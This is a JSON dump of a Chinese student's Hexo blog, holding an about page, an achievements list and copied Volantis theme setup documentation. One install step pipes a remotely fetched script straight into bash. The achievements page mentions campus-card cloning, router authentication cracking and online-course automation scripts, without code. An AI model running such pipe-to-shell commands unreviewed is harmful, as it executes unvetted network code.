-
Notifications
You must be signed in to change notification settings - Fork 0
/
content.json
1 lines (1 loc) · 168 KB
/
content.json
1
{"meta":{"title":"随心港湾","subtitle":"心事与技术事","description":"分享一些自己的所思所想","author":"aoian","url":"https://blog.aoian.cn","root":"/"},"pages":[{"title":"","date":"2022-03-09T10:54:33.443Z","updated":"2022-03-09T10:54:33.443Z","comments":true,"path":"404.html","permalink":"https://blog.aoian.cn/404","excerpt":"","text":"404 很抱歉,您访问的页面不存在 可能是输入地址有误或该地址已被删除"},{"title":"","date":"2022-03-09T10:54:33.447Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"about/index.html","permalink":"https://blog.aoian.cn/about/","excerpt":"","text":"关于小高同学,就是我啦!没有什么特别的爱好,运动只会羽毛球,跑步也还行吧!不喜欢抽烟(一辈子不抽),不喜欢喝酒(一生不喝),也没有女朋友(๑°3°๑),喜欢计算机技术.这个博客建立在大一,但是学习技术从初一就开始了!我用这个博客记录自己的大学生活吧! 关于编程c语言: 一般般python: 偶尔玩玩 目前不打算添加友情链接专用页面,博客文章过于私密,侧重个人分享,也不想要太多的浏览量 友情链接: 1.一个湖南大学的土木自己人,css技术水平高得很 贰猹的小窝https://noionion.top/"},{"title":"","date":"2022-03-09T10:54:33.447Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"achievement/index.html","permalink":"https://blog.aoian.cn/achievement/","excerpt":"","text":"我 的 成 就 我的成就表 2021年2月 1.重新开张博客,更换博客框架为HEXO,主题为volantis,使用GITHUB pages进行静态托管,域名依旧用的阿里云,用的七牛云的ssl服务,同时用vercel进行托管,白嫖了mongdb数据库500M。2.完美校园自动打卡运用验证码接口,继续帮本班同学打卡。 2020年 1.完美校园自动打卡脚本失效,登录新设备必须要验证码。遂搁置。。。 hut大一上学期 搞副业掌握四大技能 1.完美校园自动打卡程序 2.学习通刷网课程序 3.校园卡复制原理 4.路由器破解锐捷认证"},{"title":"小高的空间","date":"2022-03-09T10:54:33.447Z","updated":"2022-03-09T10:54:33.447Z","comments":false,"path":"bb/index.html","permalink":"https://blog.aoian.cn/bb/","excerpt":"","text":"new Artitalk({ appId: 'NN9zI8JmUO9iSPv15MeaY8pi-MdYXbMMI', appKey: 'Mxs1sWzKRSMEazqrkTBRoFpq' })"},{"title":"文章分类","date":"2022-03-09T10:54:33.447Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"categories/index.html","permalink":"https://blog.aoian.cn/categories/","excerpt":"","text":""},{"title":"鸣谢项目和社区贡献者","date":"2022-03-09T10:54:33.447Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"celebration/index.html","permalink":"https://blog.aoian.cn/celebration/","excerpt":"小高的发展离不开各位的帮助, 与此同时,我们非常欢迎您的加入,在这里,可以发布你喜欢的文章。 让我们一同成长。","text":"小高的发展离不开各位的帮助, 与此同时,我们非常欢迎您的加入,在这里,可以发布你喜欢的文章。 让我们一同成长。 感谢主题开发者 MHuiG 查看全部 感谢社区建设者 xaoxuu MHuiG 参与社区建设的朋友 如何参与社区建设社区建设主要包括 Issues Discussions(论坛) 官网博客收录 官网文档维护 几个方面。 发布文章注意如果这篇文章的作者是第一次出现在官网,还需要在 _data/author.yml 文件中添加作者信息,例如: _data/author.yml...inkss: name: 枋柚梓 avatar: https://cdn.jsdelivr.net/gh/inkss/[email protected]/hexo/img/static/avatar.jpg url: https://inkss.cn 注意事项文章存放在 _posts/blogs/ 目录中,且文件名格式为「年-月-日-文章话题」。 在线编辑文档https://github.com/volantis-x/community/tree/master/source/_posts/blogs"},{"title":"","date":"2022-03-09T10:54:33.447Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"getting-started/index.html","permalink":"https://blog.aoian.cn/getting-started/","excerpt":"","text":"window.location=\"/v4/getting-started/\";"},{"title":"所有标签","date":"2022-03-09T10:54:33.447Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"tags/index.html","permalink":"https://blog.aoian.cn/tags/","excerpt":"","text":""},{"title":"进阶设定","date":"2022-03-09T10:54:33.447Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"v4/advanced-settings/index.html","permalink":"https://blog.aoian.cn/v4/advanced-settings/","excerpt":"","text":"设置子模块 将主题添加为子模块 git submodule add https://github.com/volantis-x/hexo-theme-volantis.git themes/volantis 多人协同默认的作者信息在主题配置文件中设置: blog/themes/volantis/_config.yml# 文章布局article: ... body: ... meta_library: author: avatar: name: 请设置文章作者 url: / Volantis 支持多个作者在一个站点发布文章,其他作者信息需要写在数据文件中,例如: blog/source/_data/author.ymlJon: name: Jon Snow avatar: https://cn.bing.com/th?id=AMMS_fc8f99fd41ebd737a71c4e13806db9a0&w=110&h=110&c=7&rs=1&qlt=80&pcl=f9f9f9&cdv=1&dpr=2&pid=16.1 url: https://gameofthrones.fandom.com/wiki/Jon_SnowDany: name: Daenerys Targaryen avatar: https://tse1-mm.cn.bing.net/th?id=OIP.Yax4wLzIFbcBVUa_RsKywQHaLH&w=80&h=80&c=8&rs=1&qlt=90&dpr=2&pid=3.1&rm=2 url: https://gameofthrones.fandom.com/wiki/Daenerys_Targaryen 在文章的 front-matter 中新增 author 即可: ---title: Jon Snow | Game of Thrones Wiki | Fandomauthor: Jon--- 为网站提速加载速度 减少不必要的 js 插件,例如字数统计、动态背景。 查找并解决拖慢速度的资源,以 Chrome 浏览器为例: 页面中点击右键,选择「检查」。 在右边的窗口中「Network」选项卡,并勾选「Disable cache」。 刷新网页,查看加载速度慢的资源。 加载缓慢的图片,建议使用 CDN。 加载缓慢的可以不用的 js 插件,建议舍弃。 加载缓慢却必须使用的 js 插件,建议下载并自己上传至 jsdelivr。 运行速度 访问具有动态特效背景(如雪花、粒子等)的网站时,手机很快会发烫变卡,笔记本很快会风扇狂转并且浏览器提示建议关闭此页面。如果你希望网站有好的使用体验请尽量不要安装这类插件。 优化 SEOblog/_config.volantis.ymlseo: # When there are no keywords in the article's front-matter, use tags as keywords. use_tags_as_keywords: true # When there is no description in the article's front-matter, use excerpt as the description. use_excerpt_as_description: true robots: home_first_page: index,follow home_other_pages: noindex,follow archive: noindex,follow category: noindex,follow tag: noindex,follow # robots can be written in front-matter 在 front-matter 中,可以设置 keywords、description、robots 和 seo_title。其中 seo_title 仅仅用作网页标题,优先级高于 title。 文章内部不要使用 H1 标题。 通过死链检测工具检查并删除无法访问的链接。 安装 SEO 优化插件: hexo-autonofollowhttps://github.com/liuzc/hexo-autonofollow hexo-generator-seo-friendly-sitemaphttps://github.com/ludoviclefevre/hexo-generator-seo-friendly-sitemap 页面不要堆砌关键词,不要频繁更改路径。 使用 CDN对于大部分将博客 deploy 到 GitHub 的用户来说,直接加载本地资源速度比较慢,可以使用 jsdelivr 为开源项目提供的 CDN 服务。 开启方法blog/_config.volantis.yml# use_cdn: /source/js/* 中的JS文件(JS Only)使用jsdelivr的min版本加速# 默认使用 https://cdn.jsdelivr.net/npm/hexo-theme-volantis@<%- theme.info.theme_version %>/source/js/*.min.js 的CDN压缩版本(min.js),注意版本号对应关系!!可以通过修改以下配置项覆盖# 开发者注意 use_cdn 设置为 falseuse_cdn: trueinfo: theme_version: 'x.x.x' # This is theme's version. cdn: js: # https://cdn.jsdelivr.net/npm/hexo-theme-volantis@<%- theme.info.theme_version %>/source/js/app.min.js # 注意版本!!! css: first: # /css/first.css (默认不提供CDN,first.css 中为首屏渲染的样式,内含 cover navbar search 的样式。) style: # /css/style.css (默认不提供CDN,style.css 为异步延迟加载的样式。) 如果你需要对样式进行 DIY,可以只关闭 style 文件的 CDN。 如果你需要对样式进行 DIY,请注意首屏渲染和异步延迟加载的差异。 自定义 CDN如果你把对应的文件上传到自己的 CDN 服务器,可以把对应的链接改为自己的 CDN 链接。 尝试使用 Terser 压缩 ES6安装压缩工具npm install -g gulpnpm install --save-dev gulp gulp-html-minifier-terser gulp-htmlclean gulp-htmlmin gulp-minify-css gulp-terser gulp 配置文件blog/gulpfile.jsvar gulp = require('gulp');var minifycss = require('gulp-minify-css');var htmlmin = require('gulp-html-minifier-terser');var htmlclean = require('gulp-htmlclean');var terser = require('gulp-terser');// 压缩css文件const minify_css = () => ( gulp.src(['./public/**/*.css']) .pipe(minifycss()) .pipe(gulp.dest('./public')));// 压缩html文件const minify_html = () => ( gulp.src(['./public/**/*.html','!./public/{lib,lib/**}']) .pipe(htmlclean()) .pipe(htmlmin({ removeComments: true, minifyJS: true, minifyCSS: true, minifyURLs: true, })) .pipe(gulp.dest('./public')))// 压缩js文件const minify_js = () => ( gulp.src(['./public/**/*.js', '!./public/**/*.min.js','!./public/{lib,lib/**}']) .pipe(terser()) .pipe(gulp.dest('./public')))module.exports = { minify_html: minify_html, minify_css: minify_css, minify_js: minify_js};gulp.task('one', gulp.parallel( minify_html, minify_css, minify_js))gulp.task('default', gulp.series('one')); 运行压缩gulp 安装 Service Worker 服务blog/_config.yml# 全局导入import: script: - <script>"serviceWorker"in navigator&&navigator.serviceWorker.register("/sw.js").then(function(n){n.onupdatefound=function(){var e=n.installing;e.onstatechange=function(){switch(e.state){case"installed":navigator.serviceWorker.controller?console.log("Updated serviceWorker."):console.log("serviceWorker Sucess!");break;case"redundant":console.log("The installing service worker became redundant.")}}}}).catch(function(e){console.log("Error during service worker registration:",e)}); </script> 在blog/source中创建sw.js文件。 内容如下: importScripts('https://cdn.jsdelivr.net/npm/[email protected]/workbox/workbox-sw.js');workbox.setConfig({ modulePathPrefix: 'https://cdn.jsdelivr.net/npm/[email protected]/workbox/'});const { core, precaching, routing, strategies, expiration, cacheableResponse, backgroundSync } = workbox;const { CacheFirst, NetworkFirst, NetworkOnly, StaleWhileRevalidate } = strategies;const { ExpirationPlugin } = expiration;const { CacheableResponsePlugin } = cacheableResponse;const cacheSuffixVersion = '-000010', // 缓存版本号 极端重要,修改静态文件后发布网页一定要修改缓存版本号 maxEntries = 100;self.addEventListener('activate', (event) => { event.waitUntil( caches.keys().then((keys) => { return Promise.all(keys.map((key) => { if (!key.includes(cacheSuffixVersion)) return caches.delete(key); })); }) );});core.setCacheNameDetails({ prefix: 'volantis', // 极端重要 自己拟定一个名字 suffix: cacheSuffixVersion});core.skipWaiting();core.clientsClaim();precaching.cleanupOutdatedCaches();/* * Precache * - Static Assets */precaching.precacheAndRoute( // 极端重要 定义首次缓存的静态文件 如果开启CDN需要修改为CDN链接 [ { url: '/css/first.css', revision: null }, { url: '/css/style.css', revision: null }, { url: '/js/app.js', revision: null }, ],);/* * Cache File From CDN * * Method: CacheFirst * cacheName: static-immutable * cacheTime: 30d */// cdn.jsdelivr.net - cors enabledrouting.registerRoute( /.*cdn\\.jsdelivr\\.net/, new CacheFirst({ cacheName: 'static-immutable' + cacheSuffixVersion, fetchOptions: { mode: 'cors', credentials: 'omit' }, plugins: [ new ExpirationPlugin({ maxAgeSeconds: 30 * 24 * 60 * 60, purgeOnQuotaError: true }) ] }));// m7.music.126.net - cors enabledrouting.registerRoute( /.*m7\\.music\\.126\\.net/, new CacheFirst({ cacheName: 'static-immutable' + cacheSuffixVersion, fetchOptions: { mode: 'cors', credentials: 'omit' }, plugins: [ new ExpirationPlugin({ maxAgeSeconds: 30 * 24 * 60 * 60, purgeOnQuotaError: true }) ] }));/* * No Cache * * Method: networkOnly */routing.registerRoute( /.*baidu\\.com.*/, new NetworkOnly());/* * Others img fonts * Method: staleWhileRevalidate */routing.registerRoute( // Cache image fonts files /.*\\.(?:png|jpg|jpeg|svg|gif|webp|ico|eot|ttf|woff|woff2|mp3)/, new StaleWhileRevalidate());/* * Static Assets * Method: staleWhileRevalidate */routing.registerRoute( // Cache CSS files /.*\\.(css|js)/, // Use cache but update in the background ASAP new StaleWhileRevalidate());/* * sw.js - Revalidate every time * staleWhileRevalidate */routing.registerRoute( '/sw.js', // 本文件名 new StaleWhileRevalidate());/* * Default - Serve as it is * networkFirst */routing.setDefaultHandler( new NetworkFirst({ networkTimeoutSeconds: 3 })); 安装「相关文章」插件 安装插件 npm i -S hexo-related-popular-posts 插件的自定义配置方法: hexo-related-popular-postshttps://github.com/tea3/hexo-related-popular-posts 如果您使用了头图,可以在站点配置文件中添加以下设置来让相关文章显示正确的文章头图: blog/_config.ymlpopularPosts: eyeCatchImageAttributeName: headimg 注意需要升级到 5.0.1 及以上版本才可以支持自定义头图,详见 #29 分析与统计默认支持 不蒜子 的访问统计,可以自行添加百度统计和 Google Analytics。 字数和阅读时长 安装以下插件:npm i --save hexo-wordcount 修改配置文件,将 wordcount 插件打开blog/_config.volantis.ymlplugins: ... # 文章字数统计、阅读时长,开启需要安装插件: npm i --save hexo-wordcount wordcount: enable: #true 然后修改配置文件,将 wordcount 写入需要显示的 meta 位置:blog/_config.volantis.yml# 文章布局article: ... # 文章详情页面的文章卡片本体布局方案 body: # 文章顶部信息 # 从 meta_library 中取 top_meta: [..., wordcount, ...] ... # 文章底部信息 # 从 meta_library 中取 bottom_meta: [..., wordcount, ...] CNZZ 统计请参考 ZYMIN 的这篇教程: Hexo hexo+ejs+material x 添加CNZZ统计代码https://zymin.cn/arcticle/hexo+ejs+material.html 更多进阶玩法详见 @TRHX 的这篇博客: Hexo 博客主题个性化https://www.itrhx.com/2018/08/27/A04-Hexo-blog-topic-personalization/ 内含卡片半透明、增加卡通人物、自定义鼠标样式、鼠标特效、烟花特效、彩色滚动字体、网站运行时间、动态浏览器标题、雪花飘落特效等多种详细教程。 主题官网 #进阶玩法https://volantis.js.org/categories/进阶玩法/"},{"title":"","date":"2022-03-09T10:54:33.447Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"v4/getting-started/index.html","permalink":"https://blog.aoian.cn/v4/getting-started/","excerpt":"","text":"Volantis A Wonderful Theme for Hexo Volantis 是一个功能丰富、高度模块化的 Hexo 博客主题。得益于其强大的模块化特性,您可以轻松搭建一个极简风格的博客,也可以仿照官网搭建一个多人协作的、包含文档模块的大体量综合型博客。 示例博客https://volantis.js.org/examples/ 所有的 Volantis 用户都可以按照格式自行创建 Issue 来将自己的博客添加到官网的示例博客页面中。 准备工作能力条件环境配置条件自建博客需要一定的相关知识,在开始前,请务必确保您会使用 markdown 语法,掌握简单的 git 知识,最最重要的是,遇到困难知道该怎么寻求解决: 翻阅和搜索文档 搜索 issues 中是否有解决办法 新建 issue 并按照要求进行操作,详尽地描述您遇到的问题 如果您没有使用过 Hexo 也不要着急,可以先通读一遍 Hexo 中文文档,要想使用地得心应手,最好参照团队提供的开源项目的源码进行搭建: Demo 源码 | 官网源码如果您从旧版本更新或着其它主题迁移,请确保环境版本不要太低,否则会产生兼容性问题。 Hexo: 4.2 ~ 5.xhexo-cli: 3.1 ~ 4.xnode.js: 12.16 ~ latest # 推荐使用 LTS 版npm: 6.13 ~ latest 快速体验如果您已经具备环境配置条件,可以在终端中输入下面这行代码,稍等片刻即可尝鲜体验: git clone https://github.com/volantis-x/demo.git && cd demo && npm i && hexo s 下载与安装全新博客安装从其它主题迁移第 1/2 步:修改站点配置文件 在 blog/_config.yml 文件中找到并修改:theme: volantis 第 2/2 步:下载主题 在终端中输入:npm i hexo-theme-volantis 如果您是 Mac 用户,可以使用脚本完成全部流程 在博客路径打开终端,下载安装并应用主题:curl -s https://volantis.js.org/start | bash这行命令将会自动检测并安装所需环境,初始化博客,然后下载安装并应用主题。脚本详细使用方法:#hexo.sh 第 1/3 步:修改站点配置文件 在 blog/_config.yml 文件中找到并修改:theme: volantis 第 2/3 步:下载主题 如果您已经升级到 Hexo 5.0.2 及以上,可以直接使用 npm 命令安装:npm i hexo-theme-volantis对于旧版本,需要下载主题源码到 themes/ 文件夹:git clone https://github.com/volantis-x/hexo-theme-volantis themes/volantis如果您无法访问 GitHub 可以使用国内镜像源:git clone https://e.coding.net/volantis-x/p/hexo-theme-volantis.git themes/volantis 第 3/3 步:检查并安装依赖 安装 Hexo 搜索的依赖包:npm i hexo-generator-search hexo-generator-json-content安装 Stylus 渲染器:npm i hexo-renderer-stylus 版本更新注意事项使用主题的时候,尽量 fork 主题到自己的 GitHub,然后进行修改并使用。这样做的好处是:当主题进行重要更新的时候可以根据需要拉取合并代码,使自己 DIY 的主题能够通过更新获取 BUG 修复或者新特性。 如果不懂请自行搜索关键词:fork 更新 实用小技巧所有需要写在主题配置文件中的配置都可以写在站点配置文件的 theme_config: 中,在 Hexo 5.0 后,还可以写在 _config.volantis.yml 文件中,详见 Hexo 官方文档:覆盖主题配置https://hexo.io/zh-cn/docs/configuration#%E8%A6%86%E7%9B%96%E4%B8%BB%E9%A2%98%E9%85%8D%E7%BD%AE也可以直接查看本站源码中站点配置文件的写法:_config.volantis.yml 请对照 更新日志 进行更新,下面是更新之后需要注意的事项: 2021-01-15 4.2.0 -> 4.3.0 更多关于Volantis的小版本更新请点击上方更新日志按钮增加 disqusjs 评论系统;增加 waline 评论系统;增加 旧版 Internet Explorer 淘汰行动 ;增加 Tidio聊天功能;增加 twitoo waline valine minivaline 文章阅读量统计;增加 bbtalk.js;修复#514 #538 #567 #431 #468;修复关闭 pjax 时 cover样式失效 和 报错 的问题 。 2020-09-26 3.0.0 -> 4.0.0 4.0.0 的配置文件改动非常大,强烈建议不要在旧的配置文件上改。原数据文件中的配置项不再支持,请在配置文件中进行设置。主题配置文件进行了重新设计,需要「完全」重新配置一遍。友链使用数据文件,并支持 issues 标签实现动态自助友链。原 meta 自定义布局现在只支持文章内部的 top_meta 和 bottom_meta 。文章列表页面布局现在只能在有限范围内进行自定义。侧边栏组件现在只支持侧边栏位置;文章末尾有专用的组件。如果安装了懒加载插件,需要卸载掉,使用主题内置的懒加载(和插件冲突)。如果想要关闭评论,需要改为 comments: false 。如果要隐藏文章顶部或者底部的 meta 标签,需设置 top_meta: false 或者 bottom_meta: false 。如果需要同时隐藏标题和顶部的 meta 标签也可以把 title: xxx 改为 seo_title: xxx 。作者的信息使用数据文件进行定义,文章中只需要写 author: xxx 而不需要重复写作者的信息了。现在只有 gallery 标签的图片支持放大。友链页面 layout: links 改为 layout: friends。 许可协议本主题采用 MIT开源许可协议 ,永久无限制免费使用。 MIT开源许可协议被授权人有权利使用、复制、修改、合并、出版发行、散布、再授权及贩售软件及软件的副本。被授权人可根据程式的需要修改授权条款为适当的内容。在软件和软件的所有副本中都必须包含版权声明和许可声明。 配置与使用配置与使用/v4/site-settings/"},{"title":"页面配置","date":"2022-03-09T10:54:33.447Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"v4/page-settings/index.html","permalink":"https://blog.aoian.cn/v4/page-settings/","excerpt":"","text":"页面布局模板布局模板 取值 含义 page 独立页面 post 文章页面 docs 文档页面 category 分类页面 tag 标签页面 friends 友链页面 list 列表页面 page & post & docs这三种页面相同,但是有以下细微区别: post 文章有 title 时,向下滚动网页,导航栏会向上移出屏幕显出文章标题,而 page 和 docs 不会。 post 文章末尾最多可以显示「参考资料」、「相关文章」、「版权标识」、「打赏」四个模块。 docs 文章末尾最多可以显示「参考资料」一个模块。 除了归档页面是自动生成的,其它独立页面都需要手动创建 md 文件。 归档页面归档页面是自动生成的,并且初始化的时候已经生成,路径如下: blog/_config.yml# Directoryarchive_dir: archives 关于页面Create file if not exists: source/about/index.md---layout: docsseo_title: 关于bottom_meta: falsesidebar: []valine: placeholder: 有什么想对我说的呢?---下面写关于自己的内容 分类页面Create file if not exists: source/categories/index.md---layout: categoryindex: truetitle: 所有分类--- 标签页面Create file if not exists: source/tags/index.md---layout: tagindex: truetitle: 所有标签--- 列表页面Create file if not exists: source/mylist/index.md---layout: listgroup: mylistindex: true--- 结果就是筛选出所有文章中 front-matter 部分含有 group: mylist 的文章。 友链页面创建页面文件Create file if not exists: source/friends/index.md---layout: friends # 必须title: 我的朋友们 # 可选,这是友链页的标题---这里写友链上方的内容。<!-- more -->这里可以写友链页面下方的文字备注,例如自己的友链规范、示例等。 选择布局方案在主题配置文件中找到以下内容: pages: # 友链页面配置 friends: layout_scheme: traditional # simple: 简单布局, traditional: 传统布局, sites: 网站卡片布局 目前提供三种布局方案: simple: 简单布局,只有头像和标题。 traditional: 传统布局,是 Volantis 旧版本的风格。 sites: 网站卡片布局,是 Volantis 4.x 新增的网站卡片标签的样式。 设置数据源静态数据源动态数据源友链的数据源写在以下路径,如果没有请自行创建: blog/source/_data/friends.yml 内容格式为: blog/source/_data/friends.yml- group: # 分组标题 description: # 分组描述 items: - title: # 名称 avatar: # 头像 url: # 链接 screenshot: # 截图 keywords: # 关键词 description: # 描述 - title: # 名称 avatar: # 头像 url: # 链接 screenshot: # 截图 keywords: # 关键词 description: # 描述 不同的布局方式,会用到一部分的字段,一般来说,title、avatar 和 url 都是必须的。这些数据被转成 HTML 标签插入到友链页面的 <!-- more --> 部分。使用 issues 标签可以从 issues 中获取 JSON 数据解析并生成 HTML 填充到页面中,使用方法如下: {% issues sites | api=https://api.github.com/repos/xaoxuu/friends/issues?sort=updated&state=open&page=1&per_page=100&labels=active %} 这样添加友链的方式就变成了:对方提 Issue ,自己审核,然后添加 active 标签,然后刷新网页就生效了。更新友链内容也变得十分方便, Issue 的创建者拥有修改和关闭的权限。 新建一个 GitHub 或者 Gitee 仓库,创建 Issues 模板,如下: { "title": "", "screenshot": "", "url": "", "avatar": "", "description": "", "keywords": ""} 关于如何使用 issues 标签,详见这篇文章: 静态博客使用 Issues API 发布动态、友链、书签https://xaoxuu.com/blog/2020-08-23-issues-api/ 建议两者是可以同时使用的哦,建议开放 issues 友链给大家,常联系的自己再保存到静态友链。实测 GitHub API 速度和稳定性不如 Gitee ,如果追求稳定建议使用 Gitee。 404页面Create file if not exists: source/404.md---cover: truerobots: noindex,nofollowsitemap: falseseo_title: 404 Not Foundbottom_meta: falsesidebar: []valine: path: /404.html placeholder: 请留言告诉我您要访问哪个页面找不到了---{% p logo center huge, 404 %}{% p center bold, 很抱歉,您访问的页面不存在 %}{% p center small, 可能是输入地址有误或该地址已被删除 %} front-matterfront-matter 是文件最上方以 --- 分隔的区域,用于指定个别文件的变量。更多请见 Hexo 官方文档:#front-matter 字段 含义 值类型 默认值 layout 布局模版 String - title 页面标题 String - seo_title 网页标题 String page.title short_title 页面标题(在group列表中显示) String page.title date 创建时间 Date 文件创建时间 updated 更新日期 Date 文件修改时间 link 外部文章网址 String - music 内部音乐控件 [Object] - robots robots String - keywords 页面关键词 String - description 页面描述、摘要 String - cover 是否显示封面 Bool true top_meta 是否显示文章或页面顶部的meta信息 Bool true bottom_meta 是否显示文章或页面底部的meta信息 Bool true sidebar 页面侧边栏 Bool, Array theme.layout.*.sidebar body 页面主体元素 Array theme.layout.on_page.body mathjax 是否渲染公式 Bool, String false thumbnail 缩略图 String false icons 图标 Array [] pin 是否置顶 Bool false layout:post 时特有的字段: 字段 含义 值类型 默认值 author 文章作者 [Object] config.author categories 分类 String, Array - tags 标签 String, Array - toc 是否生成目录 Bool true music 字段 是否必须 值类型 server 是 netease, tencent, kugou, xiami, baidu type 是 song, playlist, album, search, artist id 是 song id / playlist id / album id / search keyword 文章置顶在 front-matter 中设置以下值: front-matterpin: true 文章分类多个分类有两种关系,一种是层级(等同于文件夹),一种是并列(等同于标签)。 多级分类: front-matter---categories: [分类A, 分类B]--- 或者 front-matter---categories: - 分类A - 分类B--- 并列分类 front-mattercategories: - [分类A] - [分类B] 多级+并列分类 front-mattercategories: - [分类A, 分类B] - [分类C, 分类D] 文章摘要在文章中插入 <!-- more -->,前面的部分即为摘要。 某篇文章源码---title: xxxdate: 2020-02-21---这是摘要<!-- more -->这是正文 注意: <!-- more --> 前后一定要有空行,不然可能导致显示错位。 设置文章作者Volantis 支持多个作者在一个站点发布文章,其他作者信息需要写在数据文件中,例如: blog/source/_data/author.ymlJon: name: Jon Snow avatar: https://cn.bing.com/th?id=AMMS_fc8f99fd41ebd737a71c4e13806db9a0&w=110&h=110&c=7&rs=1&qlt=80&pcl=f9f9f9&cdv=1&dpr=2&pid=16.1 url: https://gameofthrones.fandom.com/wiki/Jon_SnowDany: name: Daenerys Targaryen avatar: https://tse1-mm.cn.bing.net/th?id=OIP.Yax4wLzIFbcBVUa_RsKywQHaLH&w=80&h=80&c=8&rs=1&qlt=90&dpr=2&pid=3.1&rm=2 url: https://gameofthrones.fandom.com/wiki/Daenerys_Targaryen 在文章的 front-matter 中新增 author 即可: front-matter---title: Jon Snow | Game of Thrones Wiki | Fandomauthor: Jon--- 引入外部文章利用 link,搭配自定义的文章作者信息,你可以在文章列表中显示外部文章或者网址,例如: blog/source/_data/author.ymlxaoxuu: name: xaoxuu avatar: https://cdn.jsdelivr.net/gh/xaoxuu/assets@master/avatar/avatar.png url: https://xaoxuu.com front-matter---layout: postdate: 2017-07-05title: [转]如何搭建基于Hexo的独立博客categories: [Dev, Hexo]tags: - Hexoauthor: xaoxuulink: https://xaoxuu.com/blog/2017-07-05-hexo-blog/---![](https://img.vim-cn.com/d9/a9af7dc49fc0af8ca3e6dd2450a2f7095a87db.png) 置顶对于任何文章或者页面,设置 pin: true 即可置顶在首页。 front-matter---pin: true--- 这会导致一个小问题:首页 post 卡片数量多于设定值,如果有强迫症希望每一个分页数量一致,可以安装插件来实现,详见:#421 不归档存放在 _posts 文件夹下的文章一般都会出现在归档页,如果某篇文章不希望出现在归档页面: front-matter---archive: false--- 页面自定义布局显示迷你音乐播放器标题右边显示迷你音乐播放器,支持的字段有:server、type、id。 front-matter---music: server: netease # netease, tencent, kugou, xiami, baidu type: song # song, playlist, album, search, artist id: 16846091 # song id / playlist id / album id / search keyword--- 实际效果见: #contributors 显示 meta 标签文章顶部和底部的日期、分类、更新日期、标签、分享等属于 meta 标签。 front-matter---top_meta: falsebottom_meta: false--- 如果一个页面没有 title 则不会显示 top_meta ,像404、关于页面就可以完全隐藏: front-matter---seo_title: 关于top_meta: falsebottom_meta: false--- 标题右边显示缩略图front-matter---thumbnail: https://img.vim-cn.com/17/0c7b02722686d1527a1df807dae0794d995860.png--- 缩略图仅在文章列表和文章页面显示,不会在归档页面显示。 标题右边显示图标front-matter---icons: [fas fa-fire red, fas fa-star green]--- 图标仅在归档页面中显示,可以用来标注热门文章。 可以通过 red / blue / green / yellow / orange / theme / accent 来设置图标的颜色 是否要显示封面如果某个页面需要封面,可以这样写: front-matter---cover: true--- 显示侧边栏通过自由设置边栏卡片来删减对应页面的冗余信息,提高有价值的信息在页面中的权重。 如果某个页面不需要侧边栏,可以这样写: front-matter---sidebar: []--- 某个页面想指定显示某几个侧边栏,就这样写: front-matter---sidebar: [grid, toc, tags] # 放置任何你想要显示的侧边栏部件--- 关闭评论front-matter---comments: false--- 渲染公式默认是不渲染的,如果文章内有公式,需要在 front-matter 中设置开启。即便开启了,文章列表中也不会进行渲染,请注意不要把公式写在文章开头。 example.md:---title: 渲染公式(MathJax)date: 2020-02-23mathjax: true # false: 不渲染, true: 渲染---添加一段描述性文字<!-- more -->$$t+1=2$$$$\\mbox{积累因子}=\\begin{cases}1+ni & \\mbox{单利}\\\\\\\\(1+i)^n & \\mbox{复利}\\end{cases}$$$$\\begin{equation}\\sum_{i=0}^n F_i \\cdot \\phi (H, p_i) - \\sum_{i=1}^n a_i \\cdot ( \\tilde{x_i}, \\tilde{y_i}) + b_i \\cdot ( \\tilde{x_i}^2 , \\tilde{y_i}^2 )\\end{equation}$$$$\\begin{equation}\\beta^*(D) = \\mathop{argmin} \\limits_{\\beta} \\lambda {||\\beta||}^2 + \\sum_{i=1}^n max(0, 1 - y_i f_{\\beta}(x_i))\\end{equation}$$ 查看公式渲染效果 $$t+1=2$$$$\\mbox{积累因子}=\\begin{cases}1+ni & \\mbox{单利}\\\\(1+i)^n & \\mbox{复利}\\end{cases}$$$$\\begin{equation}\\sum_{i=0}^n F_i \\cdot \\phi (H, p_i) - \\sum_{i=1}^n a_i \\cdot ( \\tilde{x_i}, \\tilde{y_i}) + b_i \\cdot ( \\tilde{x_i}^2 , \\tilde{y_i}^2 )\\end{equation}$$$$\\begin{equation}\\beta^*(D) = \\mathop{argmin} \\limits_{\\beta} \\lambda {||\\beta||}^2 + \\sum_{i=1}^n max(0, 1 - y_i f_{\\beta}(x_i))\\end{equation}$$ 如果公式仍无法正确渲染可以阅读 @MicDZ 的这篇文章: 在Material-X上使用KaTeXhttps://www.micdz.cn/article/katex-on-volantis/"},{"title":"站点配置","date":"2022-03-09T10:54:33.447Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"v4/site-settings/index.html","permalink":"https://blog.aoian.cn/v4/site-settings/","excerpt":"","text":"博客根目录下的 _config.yml 文件通常负责站点相关配置、第三方 npm 插件相关的配置。 网站标题blog/_config.yml# 网站标题title: my blog 网站图标简单方式完全自定义blog/_config.yml# 网站图标,更多尺寸等图标请使用import方式批量导入favicon: https://cdn.jsdelivr.net/gh/xaoxuu/assets@master/favicon/favicon.icoblog/_config.ymlimport: meta: - <meta name="msapplication-TileColor" content="#ffffff"> - <meta name="msapplication-config" content="https://cdn.jsdelivr.net/gh/volantis-x/cdn-org/blog/favicon/browserconfig.xml"> - <meta name="theme-color" content="#ffffff"> link: - <link rel="apple-touch-icon" sizes="180x180" href="https://cdn.jsdelivr.net/gh/volantis-x/cdn-org/blog/favicon/apple-touch-icon.png"> - <link rel="icon" type="image/png" sizes="32x32" href="https://cdn.jsdelivr.net/gh/volantis-x/cdn-org/blog/favicon/favicon-32x32.png"> - <link rel="icon" type="image/png" sizes="16x16" href="https://cdn.jsdelivr.net/gh/volantis-x/cdn-org/blog/favicon/favicon-16x16.png"> - <link rel="manifest" href="https://cdn.jsdelivr.net/gh/volantis-x/cdn-org/blog/favicon/site.webmanifest"> - <link rel="mask-icon" href="https://cdn.jsdelivr.net/gh/volantis-x/cdn-org/blog/favicon/safari-pinned-tab.svg" color="#5bbad5"> - <link rel="shortcut icon" 